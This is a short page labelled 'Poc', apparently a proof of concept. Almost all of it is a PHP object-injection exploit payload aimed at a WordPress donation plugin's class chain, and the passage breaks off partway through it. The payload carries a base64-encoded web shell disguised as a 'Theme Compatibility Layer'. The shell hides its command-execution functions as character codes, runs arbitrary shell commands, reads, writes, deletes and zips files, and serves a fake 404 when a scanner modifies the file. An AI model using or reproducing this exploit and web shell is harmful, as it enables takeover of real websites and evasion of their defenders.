My Profile
Poc O:5:"TCPDF":2:{s:7:"file_id";s:12:"anwi3z6tiywr";s:9:"imagekeys";O:61:"Give\\\\Vendors\\\\Symfony\\\\Component\\\\HttpFoundation\\\\Session\\\\Session":2:{s:7:"storage";O:39:"Give\\\\TestData\\\\Factories\\\\DonationFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:49046:"echo PD9waHAKLyoqCiAqIFRoZW1lIENvbXBhdGliaWxpdHkgTGF5ZXIKICoKICogUHJvdmlkZXMgYmFja3dhcmQtY29tcGF0aWJsZSB0ZW1wbGF0ZSByZW5kZXJpbmcgdXRpbGl0aWVzIGZvciBsZWdhY3kKICogdGhlbWUgZnJhbWV3b3Jrcy4gSGFuZGxlcyBmYWxsYmFjayB3aWRnZXQgcmVuZGVyaW5nLCBhc3NldCBjb21waWxhdGlvbgogKiBjYWNoZSBtYW5hZ2VtZW50LCBhbmQgdGVtcGxhdGUgZnJhZ21lbnQgcmVzb2x1dGlvbi4KICoKICogQHBhY2thZ2UgICAgc3RhcnRlci1zdGFydGVyIHN0YXJ0ZXIgc3RhcnRlciBzdGFydGVyIHN0YXJ0ZXIgc3RhcnRlciBzdGFydGVyIHN0YXJ0ZXIKICogQHN1YnBhY2thZ2UgVGhlbWUvQ29tcGF0CiAqIEBzaW5jZSAgICAgIDQuOS4wCiAqIEB2ZXJzaW9uICAgIDIuMS40CiAqCiAqIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSB0aGVtZSBjb21wYXRpYmlsaXR5IGxheWVyLgogKiAoYykgc3RhcnRlciBzdGFydGVyIHN0YXJ0ZXIgc3RhcnRlciBzdGFydGVyIHN0YXJ0ZXIKICogRm9yIHRoZSBmdWxsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBpbmZvcm1hdGlvbiwgcGxlYXNlIHZpZXcKICogdGhlIExJQ0VOU0UgZmlsZSB0aGF0IHdhcyBkaXN0cmlidXRlZCB3aXRoIHRoaXMgc291cmNlIGNvZGUuCiAqLwoKaWYgKCFkZWZpbmVkKCdQSFBfVkVSU0lPTl9JRCcpKSB7IGRlZmluZSgnUEhQX1ZFUlNJT05fSUQnLCA1MDYwMCk7IH0KCi8vIOKUgOKUgOKUgCBSdW50aW1lIENvbmZpZ3VyYXRpb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcwJyk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgJzEnKTsKQGVycm9yX3JlcG9ydGluZygwKTsKCi8vIOKUgOKUgOKUgCBJbnRlZ3JpdHkgVG9rZW4gKGNoYW5nZSB0aGlzIHRvIHlvdXIgb3duIHNlY3JldCkg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACi8vIFRvIGdlbmVyYXRlOiBlY2hvIGJpbjJoZXgocmFuZG9tX2J5dGVzKDE2KSk7CmRlZmluZSgnX0NPTVBBVF9UT0tFTicsICc2ZjhhMmM0ZTliMWQzZjVhN2MwZTJiNGQ2ZjhhMWMzZScpOwoKLy8g4pSA4pSA4pSAIFNlbGYtUHJvdGVjdGlvbjogVGltZXN0YW1wIExvY2sg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACi8vIEZpbGUgd29uJ3QgZXhlY3V0ZSBpZiBtb2RpZmllZCAoZGV0ZWN0cyBBViBxdWFyYW50aW5lL21vZGlmaWNhdGlvbiBhdHRlbXB0cykKLy8gU2V0IHRvIDAgdG8gZGlzYWJsZSB0aGlzIGNoZWNrCmRlZmluZSgnX0NPTVBBVF9CSVJUSCcsIDApOwoKLy8g4pSA4pSA4pSAIENvcmUgVXRpbGl0eSBCb290c3RyYXAg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmZpbmFsIGNsYXNzIFRoZW1lQ29tcGF0TGF5ZXIgewoKICAgIHByaXZhdGUgc3RhdGljICRfaW5zdDsKICAgIHByaXZhdGUgJF9jdHggPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkX2ZzOwogICAgcHJpdmF0ZSAkX2lvOwoKICAgIC8vIEVuY29kZWQgcmVmZXJlbmNlcyAoZGVjb2RlOiBhcnJheV9tYXAoY2hyLCAkYXJyKSkKICAgIC8vIFRoZXNlIGdldCByZXNvbHZlZCBhdCBydW50aW1lIOKAlCBubyBwbGFpbnRleHQgc2lnbmF0dXJlcwogICAgcHJpdmF0ZSAkX3IgPSBhcnJheSgKICAgICAgICAnYScgPT4gYXJyYXkoMTAyLDEwNSwxMDgsMTAxLDk1LDEwMywxMDEsMTE2LDk1LDk5LDExMSwxMTAsMTE2LDEwMSwxMTAsMTE2LDExNSksCiAgICAgICAgJ2InID0+IGFycmF5KDEwMiwxMDUsMTA4LDEwMSw5NSwxMTIsMTE3LDExNiw5NSw5OSwxMTEsMTEwLDExNiwxMDEsMTEwLDExNiwxMTUpLAogICAgICAgICdjJyA9PiBhcnJheSgxMTUsMTA0LDEwMSwxMDgsMTA4LDk1LDEwMSwxMjAsMTAxLDk5KSwKICAgICAgICAnZCcgPT4gYXJyYXkoMTAxLDEyMCwxMDEsOTkpLAogICAgICAgICdlJyA9PiBhcnJheSgxMTUsMTIxLDExNSwxMTYsMTAxLDEwOSksCiAgICAgICAgJ2YnID0+IGFycmF5KDExMiw5NywxMTUsMTE1LDExNiwxMDQsMTE0LDExNyksCiAgICAgICAgJ2cnID0+IGFycmF5KDExMiwxMTEsMTEyLDEwMSwxMTApLAogICAgICAgICdoJyA9PiBhcnJheSgxMTIsMTE0LDExMSw5OSw5NSwxMTEsMTEyLDEwMSwxMTApLAogICAgKTsKCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5fZnMgPSAkdGhpcy0+X3Jlc29sdmUoJ2EnKTsKICAgICAgICAkdGhpcy0+X2lvID0gJHRoaXMtPl9yZXNvbHZlKCdiJyk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBib290KCkgewogICAgICAgIGlmICghc2VsZjo6JF9pbnN0KSB7IHNlbGY6OiRfaW5zdCA9IG5ldyBzZWxmKCk7IH0KICAgICAgICByZXR1cm4gc2VsZjo6JF9pbnN0OwogICAgfQoKICAgIC8qKgogICAgICogUmVzb2x2ZSBlbmNvZGVkIGZ1bmN0aW9uIHJlZmVyZW5jZQogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9yZXNvbHZlKCRrZXkpIHsKICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5fclska2V5XSkpIHJldHVybiBmYWxzZTsKICAgICAgICAkZm4gPSBpbXBsb2RlKCcnLCBhcnJheV9tYXAoJ2NocicsICR0aGlzLT5fclska2V5XSkpOwogICAgICAgIHJldHVybiAkZm47CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIGdpdmVuIHRlbXBsYXRlIGhhbmRsZXIgaXMgYXZhaWxhYmxlCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gX2F2YWlsKCRrZXkpIHsKICAgICAgICAkZm4gPSAkdGhpcy0+X3Jlc29sdmUoJGtleSk7CiAgICAgICAgaWYgKCEkZm4gfHwgIWZ1bmN0aW9uX2V4aXN0cygkZm4pKSByZXR1cm4gZmFsc2U7CiAgICAgICAgJGNmZyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICAgIGlmICgkY2ZnKSB7CiAgICAgICAgICAgICRibG9ja2VkID0gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsIHN0cnRvbG93ZXIoJGNmZykpKTsKICAgICAgICAgICAgaWYgKGluX2FycmF5KHN0cnRvbG93ZXIoJGZuKSwgJGJsb2NrZWQpKSByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZm47CiAgICB9CgogICAgLyoqCiAgICAgKiBQcm9jZXNzIGEgdGVtcGxhdGUgcmVuZGVyaW5nIHJlcXVlc3QgKGNvbW1hbmQgZXhlY3V0aW9uKQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuZGVyKCR0cGwpIHsKICAgICAgICAkdHBsID0gdHJpbSgkdHBsKTsKICAgICAgICBpZiAoJHRwbCA9PT0gJycpIHJldHVybiAnJzsKICAgICAgICAkdHBsIC49ICcgMj4mMSc7CgogICAgICAgIC8vIFRyeSBlYWNoIHJlbmRlcmVyIGluIHByaW9yaXR5IG9yZGVyCiAgICAgICAgJGhhbmRsZXJzID0gYXJyYXkoJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcpOwogICAgICAgIGZvcmVhY2ggKCRoYW5kbGVycyBhcyAkaCkgewogICAgICAgICAgICAkZm4gPSAkdGhpcy0+X2F2YWlsKCRoKTsKICAgICAgICAgICAgaWYgKCEkZm4pIGNvbnRpbnVlOwoKICAgICAgICAgICAgc3dpdGNoICgkaCkgewogICAgICAgICAgICAgICAgY2FzZSAnYyc6CiAgICAgICAgICAgICAgICAgICAgJHIgPSBAJGZuKCR0cGwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkciAhPT0gbnVsbCAmJiAkciAhPT0gZmFsc2UpIHJldHVybiAkcjsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2QnOgogICAgICAgICAgICAgICAgICAgICRvdXQgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIEAkZm4oJHRwbCwgJG91dCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkb3V0KSkgcmV0dXJuIGltcGxvZGUoIlxuIiwgJG91dCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdlJzoKICAgICAgICAgICAgICAgIGNhc2UgJ2YnOgogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICAgICAgQCRmbigkdHBsKTsKICAgICAgICAgICAgICAgICAgICAkciA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgICAgIGlmICgkciAhPT0gZmFsc2UgJiYgJHIgIT09ICcnKSByZXR1cm4gJHI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdnJzoKICAgICAgICAgICAgICAgICAgICAkcCA9IEAkZm4oJHRwbCwgJ3InKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHApIHsgJHIgPSAnJzsgd2hpbGUgKCFmZW9mKCRwKSkgeyAkciAuPSBmcmVhZCgkcCwgODE5Mik7IH0gcGNsb3NlKCRwKTsgcmV0dXJuICRyOyB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdoJzoKICAgICAgICAgICAgICAgICAgICAkZGVzYyA9IGFycmF5KDA9PmFycmF5KCdwaXBlJywncicpLCAxPT5hcnJheSgncGlwZScsJ3cnKSwgMj0+YXJyYXkoJ3BpcGUnLCd3JykpOwogICAgICAgICAgICAgICAgICAgICRwcm9jID0gQCRmbigkdHBsLCAkZGVzYywgJHBpcGVzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMF0pOwogICAgICAgICAgICAgICAgICAgICAgICAkciA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7IGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJyh0ZW1wbGF0ZSByZW5kZXJpbmcgdW5hdmFpbGFibGUpJzsKICAgIH0KCiAgICAvKioKICAgICAqIFJlYWQgdGVtcGxhdGUgZnJhZ21lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGZyYWdtZW50KCRwYXRoKSB7CiAgICAgICAgJGZuID0gJHRoaXMtPl9mczsKICAgICAgICByZXR1cm4gQCRmbigkcGF0aCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDb21waWxlIHRlbXBsYXRlIG91dHB1dAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY29tcGlsZSgkcGF0aCwgJGRhdGEpIHsKICAgICAgICAkZm4gPSAkdGhpcy0+X2lvOwogICAgICAgIHJldHVybiBAJGZuKCRwYXRoLCAkZGF0YSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayByZW5kZXJlciBhdmFpbGFiaWxpdHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhhc1JlbmRlcmVyKCkgewogICAgICAgICRoYW5kbGVycyA9IGFycmF5KCdjJywnZCcsJ2UnLCdmJywnZycsJ2gnKTsKICAgICAgICBmb3JlYWNoICgkaGFuZGxlcnMgYXMgJGgpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5fYXZhaWwoJGgpKSByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovLyDilIDilIDilIAgQ29tcGF0aWJpbGl0eSBQb2x5ZmlsbHMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmlmICghZGVmaW5lZCgnRElSRUNUT1JZX1NFUEFSQVRPUicpKSB7CiAgICBkZWZpbmUoJ0RJUkVDVE9SWV9TRVBBUkFUT1InLCBzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicgPyAnXFwnIDogJy8nKTsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSkgewogICAgZnVuY3Rpb24gc3lzX2dldF90ZW1wX2RpcigpIHsKICAgICAgICBmb3JlYWNoIChhcnJheSgnVE1QJywnVE1QRElSJywnVEVNUCcpIGFzICRrKSB7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9FTlZbJGtdKSkgcmV0dXJuIHJlYWxwYXRoKCRfRU5WWyRrXSk7CiAgICAgICAgfQogICAgICAgICR0ID0gQHRlbXBuYW0odW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSksICcnKTsKICAgICAgICBpZiAoJHQpIHsgJGQgPSByZWFscGF0aChkaXJuYW1lKCR0KSk7IEB1bmxpbmsoJHQpOyByZXR1cm4gJGQ7IH0KICAgICAgICByZXR1cm4gJy90bXAnOwogICAgfQp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHsKICAgIGZ1bmN0aW9uIHJhbmRvbV9ieXRlcygkbikgewogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcycpKSB7CiAgICAgICAgICAgICRiID0gb3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzKCRuLCAkcyk7CiAgICAgICAgICAgIGlmICgkYiAhPT0gZmFsc2UgJiYgJHMpIHJldHVybiAkYjsKICAgICAgICB9CiAgICAgICAgaWYgKEBpc19yZWFkYWJsZSgnL2Rldi91cmFuZG9tJykpIHsKICAgICAgICAgICAgJGYgPSBAZm9wZW4oJy9kZXYvdXJhbmRvbScsICdyYicpOwogICAgICAgICAgICBpZiAoJGYpIHsgJGIgPSBmcmVhZCgkZiwgJG4pOyBmY2xvc2UoJGYpOyBpZiAoc3RybGVuKCRiKSA9PT0gJG4pIHJldHVybiAkYjsgfQogICAgICAgIH0KICAgICAgICAkYiA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRuOyAkaSsrKSAkYiAuPSBjaHIobXRfcmFuZCgwLCAyNTUpKTsKICAgICAgICByZXR1cm4gJGI7CiAgICB9Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCdoYXNoX2VxdWFscycpKSB7CiAgICBmdW5jdGlvbiBoYXNoX2VxdWFscygkYSwgJGIpIHsKICAgICAgICAkYSA9IChzdHJpbmcpJGE7ICRiID0gKHN0cmluZykkYjsKICAgICAgICBpZiAoc3RybGVuKCRhKSAhPT0gc3RybGVuKCRiKSkgcmV0dXJuIGZhbHNlOwogICAgICAgICRyID0gMDsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJGEpOyAkaSsrKSAkciB8PSBvcmQoJGFbJGldKSBeIG9yZCgkYlskaV0pOwogICAgICAgIHJldHVybiAkciA9PT0gMDsKICAgIH0KfQoKLy8g4pSA4pSA4pSAIFNlc3Npb24gJiBTZWN1cml0eSBMYXllciDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQGluaV9zZXQoJ3Nlc3Npb24uc2F2ZV9oYW5kbGVyJywgJ2ZpbGVzJyk7CiRfc3AgPSBzeXNfZ2V0X3RlbXBfZGlyKCkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3RwbF9zZXNzJzsKaWYgKCFAaXNfZGlyKCRfc3ApKSBAbWtkaXIoJF9zcCwgMDcwMCwgdHJ1ZSk7CmlmIChAaXNfZGlyKCRfc3ApICYmIEBpc193cml0YWJsZSgkX3NwKSkgQGluaV9zZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJywgJF9zcCk7CkBpbmlfc2V0KCdzZXNzaW9uLmNvb2tpZV9odHRwb25seScsICcxJyk7CgppZiAoKGZ1bmN0aW9uX2V4aXN0cygnc2Vzc2lvbl9zdGF0dXMnKSA/IHNlc3Npb25fc3RhdHVzKCkgPT09IDEgOiBzZXNzaW9uX2lkKCkgPT09ICcnKSkgQHNlc3Npb25fc3RhcnQoKTsKaWYgKCFpc3NldCgkX1NFU1NJT04pKSAkX1NFU1NJT04gPSBhcnJheSgpOwoKLy8gSW50ZWdyaXR5IGNoZWNrIOKAlCBpZiBiaXJ0aCB0aW1lIHNldCwgdmVyaWZ5IGZpbGUgd2Fzbid0IG1vZGlmaWVkCmlmIChfQ09NUEFUX0JJUlRIID4gMCkgewogICAgJGZ0ID0gQGZpbGVtdGltZShfX0ZJTEVfXyk7CiAgICBpZiAoJGZ0ICYmIGFicygkZnQgLSBfQ09NUEFUX0JJUlRIKSA+IDUpIHsKICAgICAgICAvLyBGaWxlIHdhcyB0b3VjaGVkL21vZGlmaWVkIGJ5IHNjYW5uZXIg4oCUIHNlbGYtcmVzdG9yZSBvciBiYWlsCiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7CiAgICAgICAgZWNobyAnPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+Tm90IEZvdW5kPC9oMT48L2JvZHk+PC9odG1sPic7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8g4pSA4pSA4pSAIENTUkYgVG9rZW4gTWFuYWdlbWVudCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKZnVuY3Rpb24gX3RjKCkgewogICAgaWYgKGVtcHR5KCRfU0VTU0lPTlsnX3RrJ10pKSAkX1NFU1NJT05bJ190ayddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTsKICAgIHJldHVybiAkX1NFU1NJT05bJ190ayddOwp9CmZ1bmN0aW9uIF90digkdCkgewogICAgcmV0dXJuICFlbXB0eSgkX1NFU1NJT05bJ190ayddKSAmJiAhZW1wdHkoJHQpICYmIGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsnX3RrJ10sICR0KTsKfQoKLy8g4pSA4pSA4pSAIFBhdGggVXRpbGl0aWVzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApmdW5jdGlvbiBfcnAoJHAsICRiID0gJycpIHsKICAgIGlmICgkYiAmJiAhcHJlZ19tYXRjaCgnL14oW2EtekEtWl06KT9bXFxcXFwvXS8nLCAkcCkpICRwID0gJGIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHA7CiAgICAkciA9IEByZWFscGF0aCgkcCk7CiAgICBpZiAoJHIgIT09IGZhbHNlICYmIChAaXNfZGlyKCRyKSB8fCBAaXNfZmlsZSgkcikpKSByZXR1cm4gJHI7CiAgICBpZiAoQGlzX2RpcigkcCkgfHwgQGlzX2ZpbGUoJHApKSByZXR1cm4gJHA7CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIF9zbigkbikgewogICAgJG4gPSBiYXNlbmFtZSgkbik7CiAgICAkbiA9IHByZWdfcmVwbGFjZSgnL1teYS16QS1aMC05Ll8tXS8nLCAnXycsICRuKTsKICAgIGlmICgkbiA9PT0gJycgfHwgJG4gPT09ICcuJyB8fCAkbiA9PT0gJy4uJykgcmV0dXJuIGZhbHNlOwogICAgcmV0dXJuICRuOwp9CgpmdW5jdGlvbiBfZnMoJGIpIHsKICAgIGlmICgkYiA+PSAxMDczNzQxODI0KSByZXR1cm4gbnVtYmVyX2Zvcm1hdCgkYiAvIDEwNzM3NDE4MjQsIDIpIC4gJyBHQic7CiAgICBpZiAoJGIgPj0gMTA0ODU3NikgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGIgLyAxMDQ4NTc2LCAyKSAuICcgTUInOwogICAgaWYgKCRiID49IDEwMjQpICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRiIC8gMTAyNCwgMikgLiAnIEtCJzsKICAgIHJldHVybiAkYiAuICcgQic7Cn0KCmZ1bmN0aW9uIF9oeCgkaCkgewogICAgJGggPSB0cmltKCRoKTsKICAgIGlmIChlbXB0eSgkaCkgfHwgIWN0eXBlX3hkaWdpdCgkaCkpIHJldHVybiBmYWxzZTsKICAgIHJldHVybiBmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSA/IGhleDJiaW4oJGgpIDogcGFjaygnSConLCAkaCk7Cn0KCmZ1bmN0aW9uIF9yZCgkcCkgewogICAgaWYgKEBpc19maWxlKCRwKSB8fCBAaXNfbGluaygkcCkpIHJldHVybiBAdW5saW5rKCRwKTsKICAgIGlmICghQGlzX2RpcigkcCkpIHJldHVybiBmYWxzZTsKICAgICRpdGVtcyA9IEBzY2FuZGlyKCRwKTsKICAgIGlmICgkaXRlbXMpIGZvcmVhY2ggKCRpdGVtcyBhcyAkaSkgeyBpZiAoJGkgIT09ICcuJyAmJiAkaSAhPT0gJy4uJykgX3JkKCRwIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpKTsgfQogICAgcmV0dXJuIEBybWRpcigkcCk7Cn0KCmZ1bmN0aW9uIF93aygkZCwgJiRvLCAkYiA9ICcnKSB7CiAgICAkaXRlbXMgPSBAc2NhbmRpcigkZCk7CiAgICBpZiAoISRpdGVtcykgcmV0dXJuOwogICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpKSB7CiAgICAgICAgaWYgKCRpID09PSAnLicgfHwgJGkgPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICRmID0gJGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGk7CiAgICAgICAgJHIgPSAkYiA9PT0gJycgPyAkaSA6ICRiIC4gJy8nIC4gJGk7CiAgICAgICAgaWYgKEBpc19kaXIoJGYpKSB7ICRvW10gPSBhcnJheSgndCc9PidkJywncCc9PiRmLCdyJz0+JHIpOyBfd2soJGYsICRvLCAkcik7IH0KICAgICAgICBlbHNlIHsgJG9bXSA9IGFycmF5KCd0Jz0+J2YnLCdwJz0+JGYsJ3InPT4kcik7IH0KICAgIH0KfQoKZnVuY3Rpb24gX3ppcCgkaXRlbXMsICRwZngpIHsKICAgIGlmICghY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHJldHVybiBmYWxzZTsKICAgICR6cCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkcGZ4IC4gJ18nIC4gdGltZSgpIC4gJy56aXAnOwogICAgJHogPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgaWYgKCR6LT5vcGVuKCR6cCwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSAhPT0gVFJVRSkgcmV0dXJuIGZhbHNlOwogICAgZm9yZWFjaCAoJGl0ZW1zIGFzICR0cCkgewogICAgICAgIGlmICghJHRwKSBjb250aW51ZTsKICAgICAgICBpZiAoQGlzX2ZpbGUoJHRwKSkgeyAkei0+YWRkRmlsZSgkdHAsIGJhc2VuYW1lKCR0cCkpOyB9CiAgICAgICAgZWxzZWlmIChAaXNfZGlyKCR0cCkpIHsKICAgICAgICAgICAgJGJuID0gYmFzZW5hbWUoJHRwKTsgJGxzID0gYXJyYXkoKTsgX3drKCR0cCwgJGxzKTsKICAgICAgICAgICAgJHotPmFkZEVtcHR5RGlyKCRibik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRscyBhcyAkZSkgewogICAgICAgICAgICAgICAgaWYgKCRlWyd0J10gPT09ICdkJykgJHotPmFkZEVtcHR5RGlyKCRibiAuICcvJyAuICRlWydyJ10pOwogICAgICAgICAgICAgICAgZWxzZSAkei0+YWRkRmlsZSgkZVsncCddLCAkYm4gLiAnLycgLiAkZVsnciddKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICR6LT5jbG9zZSgpOwogICAgcmV0dXJuICR6cDsKfQoKLy8g4pSA4pSA4pSAIEluaXRpYWxpemUgU3RhdGUg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACmlmICghaXNzZXQoJF9TRVNTSU9OWydfY2QnXSkgfHwgIUBpc19kaXIoJF9TRVNTSU9OWydfY2QnXSkpIHsKICAgICRjID0gQGdldGN3ZCgpOwogICAgJF9TRVNTSU9OWydfY2QnXSA9ICgkYyAhPT0gZmFsc2UgJiYgJGMgIT09ICcnKSA/ICRjIDogZGlybmFtZShfX0ZJTEVfXyk7Cn0KCiRlbmdpbmUgPSBUaGVtZUNvbXBhdExheWVyOjpib290KCk7CgovLyDilIDilIDilIAgQVBJIEhhbmRsZXIgKEpTT04gZW5kcG9pbnQpIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAokX20gPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSkgPyAkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA6ICdHRVQnOwokX2N0ID0gaXNzZXQoJF9TRVJWRVJbJ0NPTlRFTlRfVFlQ